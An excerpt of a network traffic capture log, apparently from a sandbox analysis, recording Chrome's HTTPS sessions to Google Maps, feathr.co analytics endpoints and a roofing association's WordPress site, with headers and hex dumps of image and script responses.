2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 2a 99 84 a2 99 61 4b c7 a8 60 02 55 23 6a d8 d2 b1 10 7c a4 f7 b2 6e fc c1 93 ab b9 61 07 e9 f8 4b 37 a6 50 3a 79 6e 73 27 52 23 88 88 64 2f 02 20 45 d4 ee d4 0e 77 04 85 d4 4b 14 fb e8 23 70 e7 0f 79 d0 81 f2 22 9d b4 93 cd b9 bb f5 dc 49 3f f8 f8 75 37 04 e4 19 0f 5a 9e 2a 8d da ca 6e 24 20 5f 80 38 bf 25 00 d6 18 07 ec e7 0a a9 b1 04 4b 18 3b 18 ad 61 73 67 e3 7b 0d ee 38 ba 45 81 83 95 bb 67 a2 94 3e 0a 65 3b e8 25 92 34 e5 e5 3d 1b 60 5d be b7 f4 c7 77 2b 0c 44 84 89 aa 07 d9 13 43 ce bc af 01 f3 5c b8 02 2b f7 0a af 46 1b 05 1e 09 26 66 02 b6 5c 80 2f 09 c8 5f b2 4b 08 90 14 51 49 75 20 01 f9 02 44 f7 e6 9d 26 1d 80 99 48 e5 1a 98 3d 0c 68 a9 a8 95 ca 72 17 0c 19 b3 cd 05 80 15 30 b3 34 45 10 e6 1d 0c 68 b5 a8 dc 50 28 78 91 2f c0 66 17 c0 e5 6e d0 Data Ascii: aK`U#j\|naK7P:yns'R#d/ EwK#py"I?u7Zn$ _8%K;asg{8Eg>e;%4=`]w+DC\+F&f\/_KQIu D&H=hr04EhP(x/fn
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 88 4f 63 80 bd 62 fd 16 17 06 4e 52 4c ef 77 ee d9 b3 82 f5 c2 c0 59 fe d0 7b ae d0 8c 52 8e f3 6c c5 a9 0c bc 76 85 66 87 02 1f 9b 6b 79 c4 49 28 45 c6 e7 30 f0 3c 1e 5a 0f 1f 57 88 93 30 9f c9 c0 0f 57 c8 eb 8c bc 0c d3 5e 1f fe 4c 02 4e 65 e0 fb 08 03 1c 3d 28 05 cd e8 45 08 f1 1b f4 99 5b d8 56 06 ce 78 2f fc de b6 42 53 9e 31 e4 58 45 ec fc 50 d7 87 c7 65 38 35 5b 35 67 f3 74 06 03 d7 ae 90 35 5e 62 ed 1f 16 be c8 30 85 ef 87 3f 3b 5e 28 1d 37 27 30 b0 4e b1 10 34 d6 d7 60 be 6b fe e0 b1 f6 28 13 e0 79 0e 9f e1 ce 62 a0 24 a2 bc 96 99 89 98 52 f9 25 29 28 41 ae c3 67 ac 0c 34 f0 bf f4 f5 7e 53 1c 3d 5a 2b 15 0d 77 a6 bf 2f 4c 50 0a 6a c2 3f ec 8b af 0a 03 07 ac b2 fa 06 ac 7a 16 72 9d e5 0f 22 a0 ed 21 f1 f9 ca e3 d4 44 38 ad 42 87 04 c8 c9 f1 33 90 Data Ascii: OcbNRLwY{RlvfkyI(E0<ZW0W^LNe=(E[Vx/BS1XEPe85[5gt5^b0?;^(7'0N4`k(yb$R%)(Ag4~S=Z+w/LPj?zr"!D8B3
2024-04-23 14:54:22 UTC	407	IN	Data Raw: f9 9f 9b 9a 67 8f 0b ff a7 07 e3 f8 3d bf af bd c2 d3 d4 30 45 0b 8f 94 e0 9a b2 c7 f0 e4 4f 3e fe 8b 09 93 24 00 0f 62 81 b2 55 08 c7 ef f9 5d e1 2d 3c eb a2 a4 f9 af 0f 08 58 57 f7 7e fc f1 5f a6 86 1f 11 c0 bc 36 f4 40 bc 48 0d 3f 20 c0 9a c6 c9 8a f3 f0 22 35 fc 50 02 88 00 f3 0b 6e c0 ab 52 99 87 04 88 cf f6 7f ae f0 bc 54 e6 b9 15 f8 3d 4a e0 a1 2f ff 88 00 c6 a9 a8 47 e3 79 a9 cc 43 02 f8 a6 a2 1e 8d e7 0f 30 8f 83 21 c6 f9 e0 07 e3 79 a9 cc e3 60 88 71 44 fc b1 a8 5c fe 65 dd 6f b1 84 b5 55 c3 92 71 44 fc a1 a8 2d 95 d9 b6 72 be 67 d4 96 ca fc 1a 4b 58 5b 2a 63 7e 8b 25 ac 2e 95 91 8c cb 52 8e 44 71 85 2a b4 d9 6f b1 84 d5 53 65 4a 20 35 7f be 25 ac 7e 88 ff 2d 96 b0 fa 15 f2 b7 58 c2 fa aa e1 62 09 3f 5e 04 ea 0b d2 1e ae ce 9b 3f 4b 2a ea 07 ec Data Ascii: g=0EO>$bU]-<XW~_6@H? "5PnRT=J/GyC0!y`qD\eoUqD-rgKX[c~%.RDqoSeJ 5%~-Xb?^?K*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.6	50076	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	797	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=4792 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	626	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:21 GMT Cache-Control: public, max-age=899 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 040570bf838b72ad4 Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 8361 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=3 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 87 50 4c 54 45 f1 f3 f4 fb fc fc f4 f6 f6 ff ff ff e8 ea ed f8 f9 fa ed ee f0 dc de e2 f6 f8 f8 e2 e3 e6 94 98 9c ba bb bd 70 75 7a 79 7e 83 86 89 8c a6 aa ad ca cc ce af b2 b5 c0 d7 fb d3 e5 fb d3 d5 d6 8a be 9a 5a 5d 61 4e 52 56 ac ca f9 c3 dd cb 9c c0 f9 ce ea d6 51 9f 69 27 88 45 6e af 82 65 68 6c 35 90 51 48 75 85 a7 ce b3 6f a7 f0 8b b8 f2 18 80 38 1a 73 e8 43 98 5d 48 89 f5 98 c6 a7 74 96 a3 54 91 f5 34 a8 53 e1 ad 68 0a 00 00 1f c8 49 44 41 54 78 da ed fd 07 77 ea 4a af 05 00 4c 75 77 a1 d3 29 e9 39 df ff ff 7d 6f 6b c6 06 03 26 80 b1 09 79 77 69 ad 7b 49 82 e1 78 b6 d5 47 23 b1 Data Ascii: PNGIHDRkXTpHYsPLTEpuzy~Z]aNRVQi'Enehl5QHuo8sC]HtT4ShIDATxwJLuw)9}ok&ywi{IxG#
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: a1 2f b9 6a 4f cc 45 47 10 06 fe f3 61 20 38 89 b9 21 d1 62 66 b8 33 4a 12 99 63 f0 5c ea 40 f0 20 ca c9 6d 11 80 68 95 06 d9 28 eb 93 8a 81 98 51 42 fe 49 48 50 18 18 67 ae 1b c6 6d 72 c0 28 94 32 18 8d 56 b9 81 e1 9a 3f 0d 02 9e c7 8d 19 d4 91 df 26 00 60 ff 61 20 85 bb 1a ad 32 29 dd 44 69 7d 5d fc fd 00 82 19 0c 7d 27 8c 9c 16 01 48 a4 0c 47 ae 14 c3 44 a4 43 91 46 43 80 90 71 e7 39 54 a2 36 19 01 24 45 5a 7c 22 78 ea 09 f8 ac 33 8a 43 31 ea 67 a3 51 10 26 ab a7 31 0b 9e 44 30 84 78 b0 c5 dc 9d e6 6c d4 91 32 8d c2 68 34 52 fd 11 f6 a2 46 2b 52 89 cf 80 81 a7 9d bb f3 c2 97 c8 d3 dc f7 c1 01 43 21 55 28 83 15 49 44 a7 2f 8c 59 e0 ce 2f 9b 46 ce 62 63 06 fd 56 77 88 e1 70 39 82 c7 c3 38 36 ea d0 48 44 b4 8a 56 26 02 81 69 d4 fc d7 94 22 cf 12 19 c9 30 Data Ascii: /jOEGa 8!bf3Jc\@ mh(QBIHPgmr(2V?&`a 2)Di}]}'HGDCFCq9T6$EZ\|"x3C1gQ&1D0xl2h4RF+RC!U(ID/Y/FbcVwp986HDV&i"0
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 0c fb c1 0f 04 60 cc da a6 eb 20 e0 d8 55 c1 65 7e 94 f1 87 a6 c2 a7 d3 07 d4 7d 39 97 33 26 54 0f 01 ff 27 c5 76 a8 ff d0 ad 80 e9 b4 55 35 58 d0 c5 a4 91 c7 d3 28 0e c3 4e 90 a0 28 ea 91 3e e0 74 3a 65 0f a1 2a 08 4a e9 02 a8 80 7e 60 32 e1 fc b1 51 10 00 68 5b 0d 16 74 21 69 84 37 fb 49 14 a8 07 6f 07 03 80 71 f7 81 10 c8 73 10 98 0a 13 19 c6 8f ee 1e 37 35 34 ee 3e e8 68 cc f9 bc 99 6b 1c 67 2d fc 5f 00 a0 6b fe d7 7b 0c 06 67 92 46 96 01 94 f3 f0 dd 60 5a 3b 73 ba e3 9c 11 ba bd f6 c5 a1 32 63 62 2a 6c bc 5f d8 0c a5 65 d3 6b af 3b dd 11 e1 d0 2a 3b 54 41 40 ff fb 8d 73 7a 05 00 44 bd 5e 37 67 05 12 89 96 21 a8 e8 0b c2 7e 63 37 bc 0c 80 25 87 70 68 1f 82 8a 74 01 fb 8d d6 66 a7 00 18 72 08 82 71 bb fa e0 14 02 ef 17 ce 69 4e cf f9 c2 bf 02 01 7f 7c Data Ascii: ` Ue~}93&T'vU5X(N(>t:eJ~`2Qh[t!i7Ioqs754>hkg-_k{gF`Z;s2cbl_ek;*;TA@szD^7g!~c7%phtfrqiN\|
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: a5 41 94 d2 83 37 03 80 9a 97 85 60 3d 57 39 91 ac a0 7d 4d 30 0c 73 7b c8 1e 43 d6 b7 33 2c 60 d5 9c 97 73 04 59 75 1b f2 99 47 4e bd 16 3d 13 00 12 00 5f 64 ff 26 6f 6f dc 73 48 24 ba 5d c7 9c 2a e7 74 d2 96 1c 00 61 bf 4c 5b d9 c6 c9 58 30 54 01 80 7b 00 80 ab 76 c4 3b d4 b1 24 b4 cd bc 1e 96 2e 34 00 d8 5c cf 76 b0 65 79 2c 27 27 83 b7 e5 04 ce e9 60 e0 93 97 33 fb 9a 50 80 e7 0f 18 85 b9 f3 e5 9a c0 59 ae c9 1b c2 25 33 8c 8d 1c b8 08 13 c9 36 7c d9 88 d9 7e d9 16 fe f2 16 47 a2 c0 ff db 02 80 5d 3c 40 02 30 d9 af df e1 d9 30 10 7b 7b c0 1e d3 fb b9 e0 00 13 bc cd 3f 8a 58 ce 02 b0 7d 5b 2e 61 ca e5 db e2 63 6b dc 9b b5 89 f3 11 f4 4d 28 d0 19 bc 71 8a 0a f1 1b 3c c3 c5 7c 66 03 24 00 50 7c 19 9f 9b 00 51 73 7c db 7c 51 00 50 38 03 14 0a ab 12 09 ee Data Ascii: A7`=W9}M0s{C3,`sYuGN=_d&oosH$]*taL[X0T{v;$.4\vey,''`3PY%36\|~G]<@00{{?X}[.ackM(q<\|f$P\|Qs\|\|QP8
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 7b 94 21 26 73 c6 a6 e1 b7 8c 47 88 90 6f 8e 0f 1f 33 b2 19 c7 82 03 34 49 8e 33 7d 66 99 77 c8 01 6d 3a 91 16 40 a7 77 93 28 ba 31 4d c2 1f 12 4b 19 23 08 55 2d d9 b9 65 dc a1 0c 21 60 98 7e d2 17 c3 0c 33 40 d4 ad 62 20 c5 03 10 e0 3c 84 9d a2 91 51 3f ac a3 be 1c 20 3e c4 60 34 37 1c aa 40 98 4e 84 d8 47 b8 fa 08 3e 9a 44 b7 2e 04 e8 8f 13 a3 31 42 e2 c9 1f f3 00 f5 95 21 4e 1c f3 55 47 a2 fd 94 1c 9a 29 10 ac c3 af 1d 90 e7 c8 f6 85 00 ad e2 a1 01 fd b8 c3 2f 2c a4 be 1c 38 98 01 12 23 3c ca 30 2b 2f 35 2f 82 c9 ab 5c 43 54 a1 78 6d 23 c0 05 01 20 83 8e 76 2e 2d c4 c8 81 aa 41 a8 4a 4b 3b 64 68 91 31 4d 5d 78 5c 98 9c 7a 15 13 cc 50 84 d2 b6 2d a4 fe 28 69 d8 c7 bc 10 ef 22 02 b5 e5 80 99 99 1c ab 60 85 81 f5 e8 7b 4f bd ff 83 6b 86 53 cc 28 49 d1 32 Data Ascii: {!&sGo34I3}fwm:@w(1MK#U-e!`~3@b <Q? >`47@NG>D.1B!NUG)/,8#<0+/5/\CTxm# v.-AJK;dh1M]x\zP-(i"`{OkS(I2
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: fa 89 a9 90 d3 67 76 c7 8d 1a 38 15 00 97 10 e9 d6 cf 8f 5e a4 63 4f b0 1d 21 c0 ce 60 94 93 7f 6e 7b 9c 6c e1 cb f1 1f 5d df 27 08 c6 f7 65 46 7e 26 bf 0a 80 86 85 80 74 80 ef ba 34 4c fe 2c 00 60 81 13 06 f0 5d 9a cc e0 fa bd 16 59 00 de 51 15 00 0d 0b 81 c0 a9 a1 fc b8 b4 a3 ce ec 8e fe 2b 72 81 7b 72 cd 2d 28 d7 6d 95 05 2a 01 a0 24 71 d3 85 23 b6 50 1e dc 50 cd 04 af c7 3e a0 da 4d e3 51 6e b7 25 35 48 54 0d 00 25 89 1b 76 87 6c 37 0c 9e f5 79 75 9d d8 89 0f b4 2f 75 72 8c 2a 68 89 ce 00 e0 37 5e 38 42 a7 c5 7c 54 8b 06 9c 5d 77 67 6e 29 73 d7 22 04 67 00 68 5c 08 10 0a 67 88 08 d2 3e e7 ce 95 b7 86 45 ef 99 50 b5 05 c1 39 00 9a 16 02 ec 0f a2 54 d2 43 3e d2 b9 fe e6 7c b7 f4 0c a0 0d 55 0b 74 16 80 86 85 80 3b 91 c9 45 e0 94 db 0d 77 e7 97 e5 80 b5 Data Ascii: gv8^cO!`n{l]'eF~&t4L,`]YQ+r{r-(m$q#PP>MQn%5HT%vl7yu/urh7^8B\|T]wgn)s"gh\g>EP9TC>\|Ut;Ew
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 2a 13 85 17 7e 7f a7 0a 47 d8 d0 d4 cd f1 85 36 bf b2 7a e4 1c 0a 01 00 78 e5 bd d7 f7 31 0d 8f e1 bb d1 ea bc 34 8b 9d f1 de fb 6b 0f d7 28 d9 63 3c 67 19 69 f9 46 e4 00 1c 77 52 d8 65 8a 7c 5c 2f 2a 00 b8 e6 24 89 67 27 5a 12 02 14 16 d9 e1 80 9a 02 3b af b6 0e 60 c7 42 60 00 e0 7c fa 49 fd 93 c7 af 3d 9a 51 38 7e 1d 53 3b e5 de 2b fd 4a 00 8c df 69 b5 58 d6 2b c9 c0 f4 b5 37 ee ca 71 b7 fb 3a 26 89 a8 ec a4 b0 cb 14 31 8d f6 0b 27 e7 0c 7a 37 1f a5 71 94 7f 90 37 f4 eb 0f 6b 3a 14 02 03 00 fa 14 bd 77 65 ef fd 05 9c 20 e5 cb 27 5a c4 09 39 7e 7f 79 01 63 d0 6c ea 1e 5e e9 a9 4b 5c c5 de 3f 5f 3f 3f 5f e5 bf f7 7f af ef 2f 60 11 a7 a2 93 82 b3 4f 98 fa 71 d0 04 00 20 c4 07 86 21 69 0a 90 73 90 41 bb 15 81 b2 10 58 00 3c 8e a5 a1 1d 00 1f 7f ca ee 3b a3 Data Ascii: ~G6zx14k(c<giFwRe\|\/$g'Z;`B`\|I=Q8~S;+JiX+7q:&1'z7q7k:we 'Z9~ycl^K\?_??_/`Oq !isAX<;
2024-04-23 14:54:22 UTC	202	IN	Data Raw: 92 da 42 50 b6 80 97 89 3a f5 47 4e 10 7a 91 6a 18 80 7d 89 92 88 a3 10 61 fc ad 4c 40 42 50 07 01 94 e1 df 34 1d 0d 67 f0 11 17 f9 98 25 84 8c 43 93 00 10 13 18 6b 14 10 00 b4 73 c3 6e a3 9a 7b e6 06 80 1b 66 67 a3 33 ae db 4f 64 e8 f4 c1 3b cd 02 60 8f 74 86 51 86 ee af 2c b9 79 8e 6f cd c2 11 07 4a e7 96 d9 e1 34 ac 80 66 aa 21 49 1a 70 d5 40 db e1 d2 77 93 1a f0 a3 54 82 bd 90 7d ba 39 69 5e b3 70 84 8a ba 6f b9 1e 3b 1a e8 c7 84 5e d5 b4 55 d2 28 00 be 32 3b 30 c2 89 90 7f 0d f9 ed 43 7c d5 23 26 f7 19 8f 98 22 02 37 f1 1a e1 80 ff 03 da 4c 8c 06 e2 8d 06 9f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: BP:GNzj}aL@BP4g%Cksn{fg3Od;`tQ,yoJ4f!Ip@wT}9i^po;^U(2;0C\|#&"7LIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.6	50075	13.32.151.88	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	388	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:22 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:22 GMT x-amzn-RequestId: f2a815fa-3884-4508-944f-d5e38e541fb8 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:22 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzA3G0loAMEfDQ= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cb9e-57fcc04a03cc26126aba25c9;Parent=5bca2d49d52cb4ca;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 9d3d57711186c70df25d455e0890cc8a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: fAPwjk1BInWVeU-lXy2vk15B8dhJUCqmizkTJvgxI3bvtgxZRtEHIQ==
2024-04-23 14:54:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.6	50077	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	1066	OUT	POST /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.asphaltroofing.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/guide-for-professionals/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
2024-04-23 14:54:22 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 31 33 38 38 34 30 36 31 32 36 35 Data Ascii: time=1713884061265
2024-04-23 14:54:23 UTC	618	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:23 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Access-Control-Allow-Origin: https://www.asphaltroofing.org Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding
2024-04-23 14:54:23 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.6	50079	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884061150 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:23 UTC	958	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:23 GMT Content-Type: text/javascript Content-Length: 207 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CRbwvWJe0HyaobmArt3p4ZsuLujsggHy5xwAyxMgLR7vmzjp%2Fhwlgkv9lkwcLUTaiqRp9jwdIsOXnwwKrz6CfwJY0Jn6HwiRRSAQSfboEm6iih2aJVOTw1mXjPXb44XH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb041ce608831-ATL
2024-04-23 14:54:23 UTC	207	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 2c 20 27 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab'); } }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.6	50078	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	1084	OUT	GET /wp-content/plugins/ultimate-responsive-image-slider/assets/css/images/openhand.cur HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/wp-content/plugins/ultimate-responsive-image-slider/assets/css/slider-pro.css?ver=6.0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
2024-04-23 14:54:23 UTC	437	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:22 GMT Content-Length: 326 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:13:45 GMT ETag: "681445-146-6138f92e19d6c" Vary: Accept-Encoding X-Sucuri-Cache: HIT Accept-Ranges: bytes
